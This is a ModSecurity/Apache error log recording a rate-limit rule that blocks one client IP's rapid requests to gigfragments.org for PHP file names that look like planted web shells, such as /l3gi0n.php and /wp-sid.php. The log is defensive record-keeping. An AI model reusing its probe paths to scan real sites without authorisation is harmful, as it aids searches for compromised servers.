[Thu Dec 25 21:36:04.120972 2025] [:error] [pid 27869:tid 27876] [client 4.241.194.62:64875] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-sid.php"] [unique_id "aU09xBNK7_n86kBD7qfJ1AAAAIU"]
[Thu Dec 25 21:36:04.653816 2025] [:error] [pid 22044:tid 22088] [client 4.241.194.62:53282] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-title.php"] [unique_id "aU09xHPTC5rQKTB0FQ-QvwAAAM0"]
[Thu Dec 25 21:36:05.618927 2025] [:error] [pid 27869:tid 27889] [client 4.241.194.62:53280] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-title.php"] [unique_id "aU09xRNK7_n86kBD7qfJ2QAAAJI"]
[Thu Dec 25 21:36:06.238042 2025] [:error] [pid 27869:tid 27885] [client 4.241.194.62:64177] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-title.php"] [unique_id "aU09xhNK7_n86kBD7qfJ2gAAAI4"]
[Thu Dec 25 21:36:06.919219 2025] [:error] [pid 22045:tid 22105] [client 4.241.194.62:64885] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-title.php"] [unique_id "aU09xqsGGmXjDnvlmHtiuwAAAUM"]
[Thu Dec 25 21:36:07.548818 2025] [:error] [pid 27869:tid 27884] [client 4.241.194.62:55689] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-home.php"] [unique_id "aU09xxNK7_n86kBD7qfJ3gAAAI0"]
[Thu Dec 25 21:36:08.402363 2025] [:error] [pid 22045:tid 22115] [client 4.241.194.62:55694] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-home.php"] [unique_id "aU09yKsGGmXjDnvlmHtivgAAAU0"]
[Thu Dec 25 21:36:09.230679 2025] [:error] [pid 22043:tid 22058] [client 4.241.194.62:55717] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-home.php"] [unique_id "aU09yT4YVtlb2Iz_QE5G8AAAAAo"]
[Thu Dec 25 21:36:09.956542 2025] [:error] [pid 27869:tid 27873] [client 4.241.194.62:55697] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-home.php"] [unique_id "aU09yRNK7_n86kBD7qfJ4QAAAII"]
[Thu Dec 25 21:36:10.466206 2025] [:error] [pid 22045:tid 22109] [client 4.241.194.62:53298] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aU09yqsGGmXjDnvlmHtiwAAAAUc"]
[Thu Dec 25 21:36:11.165530 2025] [:error] [pid 22045:tid 22113] [client 4.241.194.62:36423] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aU09y6sGGmXjDnvlmHtiwQAAAUs"]
[Thu Dec 25 21:36:11.615835 2025] [:error] [pid 22045:tid 22117] [client 4.241.194.62:38816] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aU09y6sGGmXjDnvlmHtixQAAAU8"]
[Thu Dec 25 21:36:13.151379 2025] [:error] [pid 27869:tid 27880] [client 4.241.194.62:38817] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aU09zRNK7_n86kBD7qfJ5wAAAIk"]
[Thu Dec 25 21:36:14.471732 2025] [:error] [pid 22131:tid 22141] [client 4.241.194.62:64870] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanda.php"] [unique_id "aU09zpvVMtSTB4lX2fYpiQAAAEc"]
[Thu Dec 25 21:36:16.078326 2025] [:error] [pid 22044:tid 22082] [client 4.241.194.62:53251] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanda.php"] [unique_id "aU090HPTC5rQKTB0FQ-QzAAAAMc"]
[Thu Dec 25 21:36:16.897037 2025] [:error] [pid 22131:tid 22139] [client 4.241.194.62:55741] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanda.php"] [unique_id "aU090JvVMtSTB4lX2fYpkAAAAEU"]
[Thu Dec 25 21:36:17.583195 2025] [:error] [pid 22045:tid 22122] [client 4.241.194.62:64153] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanda.php"] [unique_id "aU090asGGmXjDnvlmHtiywAAAVQ"]
[Thu Dec 25 21:36:18.442410 2025] [:error] [pid 22045:tid 22105] [client 4.241.194.62:53294] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid-file.php"] [unique_id "aU090qsGGmXjDnvlmHtizgAAAUM"]
[Thu Dec 25 21:36:19.692726 2025] [:error] [pid 27869:tid 27884] [client 4.241.194.62:55732] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid-file.php"] [unique_id "aU090xNK7_n86kBD7qfJ_QAAAI0"]
[Thu Dec 25 21:36:20.247092 2025] [:error] [pid 22045:tid 22103] [client 4.241.194.62:64873] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid-file.php"] [unique_id "aU091KsGGmXjDnvlmHti0AAAAUE"]
[Thu Dec 25 21:36:20.876320 2025] [:error] [pid 22044:tid 22098] [client 4.241.194.62:53260] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid-file.php"] [unique_id "aU091HPTC5rQKTB0FQ-Q2AAAANc"]
[Thu Dec 25 21:36:21.522776 2025] [:error] [pid 27869:tid 27876] [client 4.241.194.62:36424] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l3gi0n.php"] [unique_id "aU091RNK7_n86kBD7qfKAwAAAIU"]
[Thu Dec 25 21:36:22.774900 2025] [:error] [pid 22044:tid 22094] [client 4.241.194.62:64881] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l3gi0n.php"] [unique_id "aU091nPTC5rQKTB0FQ-Q2gAAANM"]
[Thu Dec 25 21:36:23.551594 2025] [:error] [pid 22044:tid 22079] [client 4.241.194.62:64132] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l3gi0n.php"] [unique_id "aU0913PTC5rQKTB0FQ-Q3gAAAMQ"]
[Thu Dec 25 21:36:24.699721 2025] [:error] [pid 22043:tid 22062] [client 4.241.194.62:53273] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l3gi0n.php"] [unique_id "aU092D4YVtlb2Iz_QE5G_AAAAA4"]
[Thu Dec 25 21:36:26.487954 2025] [:error] [pid 22043:tid 22048] [client 4.241.194.62:38816] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "aU092j4YVtlb2Iz_QE5G_gAAAAA"]
[Thu Dec 25 21:36:27.234963 2025] [:error] [pid 22131:tid 22141] [client 4.241.194.62:64849] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "aU0925vVMtSTB4lX2fYpmgAAAEc"]
[Thu Dec 25 21:36:28.037601 2025] [:error] [pid 27869:tid 27884] [client 4.241.194.62:38790] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "aU093BNK7_n86kBD7qfKCgAAAI0"]
[Thu Dec 25 21:36:28.575685 2025] [:error] [pid 22045:tid 22126] [client 4.241.194.62:53306] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "aU093KsGGmXjDnvlmHti6QAAAVg"]
[Thu Dec 25 21:36:30.068484 2025] [:error] [pid 22043:tid 22065] [client 4.241.194.62:64162] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Contrller.php"] [unique_id "aU093j4YVtlb2Iz_QE5HAwAAABE"]
[Thu Dec 25 21:36:30.631633 2025] [:error] [pid 22043:tid 22057] [client 4.241.194.62:55721] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Contrller.php"] [unique_id "aU093j4YVtlb2Iz_QE5HBgAAAAk"]
[Thu Dec 25 21:36:31.389019 2025] [:error] [pid 22131:tid 22144] [client 4.241.194.62:64133] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Contrller.php"] [unique_id "aU0935vVMtSTB4lX2fYpnQAAAEo"]
[Thu Dec 25 21:36:32.454744 2025] [:error] [pid 22045:tid 22113] [client 4.241.194.62:53291] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Contrller.php"] [unique_id "aU094KsGGmXjDnvlmHti8QAAAUs"]
[Thu Dec 25 21:36:32.931811 2025] [:error] [pid 27869:tid 27888] [client 4.241.194.62:64152] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o2.php"] [unique_id "aU094BNK7_n86kBD7qfKEQAAAJE"]
[Thu Dec 25 21:36:33.839218 2025] [:error] [pid 22045:tid 22121] [client 4.241.194.62:64160] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o2.php"] [unique_id "aU094asGGmXjDnvlmHti9AAAAVM"]
[Thu Dec 25 21:36:34.567189 2025] [:error] [pid 22045:tid 22117] [client 4.241.194.62:53305] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o2.php"] [unique_id "aU094qsGGmXjDnvlmHti9QAAAU8"]
[Thu Dec 25 21:36:36.110982 2025] [:error] [pid 22045:tid 22126] [client 4.241.194.62:55698] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o2.php"] [unique_id "aU095KsGGmXjDnvlmHti-AAAAVg"]
[Thu Dec 25 21:36:36.771791 2025] [:error] [pid 27869:tid 27873] [client 4.241.194.62:53275] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inghl.php"] [unique_id "aU095BNK7_n86kBD7qfKGwAAAII"]
[Thu Dec 25 21:36:37.096926 2025] [:error] [pid 22044:tid 22082] [client 4.241.194.62:38804] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inghl.php"] [unique_id "aU095XPTC5rQKTB0FQ-Q7QAAAMc"]
[Thu Dec 25 21:36:37.759132 2025] [:error] [pid 27869:tid 27888] [client 4.241.194.62:38839] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inghl.php"] [unique_id "aU095RNK7_n86kBD7qfKIQAAAJE"]
[Thu Dec 25 21:36:38.395627 2025] [:error] [pid 27869:tid 27871] [client 4.241.194.62:55735] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inghl.php"] [unique_id "aU095hNK7_n86kBD7qfKJAAAAIA"]
[Thu Dec 25 21:36:39.259847 2025] [:error] [pid 22131:tid 22152] [client 4.241.194.62:64855] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-securitiy.php"] [unique_id "aU0955vVMtSTB4lX2fYprAAAAFE"]
[Thu Dec 25 21:36:40.457191 2025] [:error] [pid 27869:tid 27893] [client 4.241.194.62:55681] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-securitiy.php"] [unique_id "aU096BNK7_n86kBD7qfKMAAAAJY"]
[Thu Dec 25 21:36:41.307534 2025] [:error] [pid 27869:tid 27890] [client 4.241.194.62:55742] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-securitiy.php"] [unique_id "aU096RNK7_n86kBD7qfKNgAAAJM"]
[Thu Dec 25 21:36:41.765594 2025] [:error] [pid 27869:tid 27871] [client 4.241.194.62:38785] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-securitiy.php"] [unique_id "aU096RNK7_n86kBD7qfKOAAAAIA"]
[Thu Dec 25 21:36:42.324093 2025] [:error] [pid 27869:tid 27881] [client 4.241.194.62:36435] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aU096hNK7_n86kBD7qfKOwAAAIo"]
[Thu Dec 25 21:36:42.974351 2025] [:error] [pid 22131:tid 22149] [client 4.241.194.62:53261] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aU096pvVMtSTB4lX2fYptwAAAE4"]
[Thu Dec 25 21:36:43.323896 2025] [:error] [pid 22044:tid 22078] [client 4.241.194.62:38810] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aU0963PTC5rQKTB0FQ-Q8wAAAMM"]
[Thu Dec 25 21:36:43.980191 2025] [:error] [pid 22045:tid 22115] [client 4.241.194.62:38793] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aU0966sGGmXjDnvlmHti_AAAAU0"]
[Thu Dec 25 21:36:45.140648 2025] [:error] [pid 27869:tid 27883] [client 4.241.194.62:64181] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ac.php"] [unique_id "aU097RNK7_n86kBD7qfKRwAAAIw"]
[Thu Dec 25 21:36:45.989209 2025] [:error] [pid 22131:tid 22147] [client 4.241.194.62:55693] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ac.php"] [unique_id "aU097ZvVMtSTB4lX2fYpywAAAEw"]
[Thu Dec 25 21:36:46.625409 2025] [:error] [pid 27869:tid 27892] [client 4.241.194.62:53304] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ac.php"] [unique_id "aU097hNK7_n86kBD7qfKUAAAAJU"]
[Thu Dec 25 21:36:47.119875 2025] [:error] [pid 22131:tid 22152] [client 4.241.194.62:53290] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ac.php"] [unique_id "aU0975vVMtSTB4lX2fYpzwAAAFE"]
[Thu Dec 25 21:36:47.568357 2025] [:error] [pid 22043:tid 22050] [client 4.241.194.62:38811] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karma_57c3d4.php"] [unique_id "aU097z4YVtlb2Iz_QE5HJQAAAAI"]
[Thu Dec 25 21:36:48.181960 2025] [:error] [pid 22131:tid 22135] [client 4.241.194.62:38845] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karma_57c3d4.php"] [unique_id "aU098JvVMtSTB4lX2fYp0gAAAEI"]
[Thu Dec 25 21:36:49.681791 2025] [:error] [pid 27869:tid 27888] [client 4.241.194.62:53299] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karma_57c3d4.php"] [unique_id "aU098RNK7_n86kBD7qfKVAAAAJE"]
[Thu Dec 25 21:36:50.625495 2025] [:error] [pid 27869:tid 27890] [client 4.241.194.62:55710] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karma_57c3d4.php"] [unique_id "aU098hNK7_n86kBD7qfKWQAAAJM"]
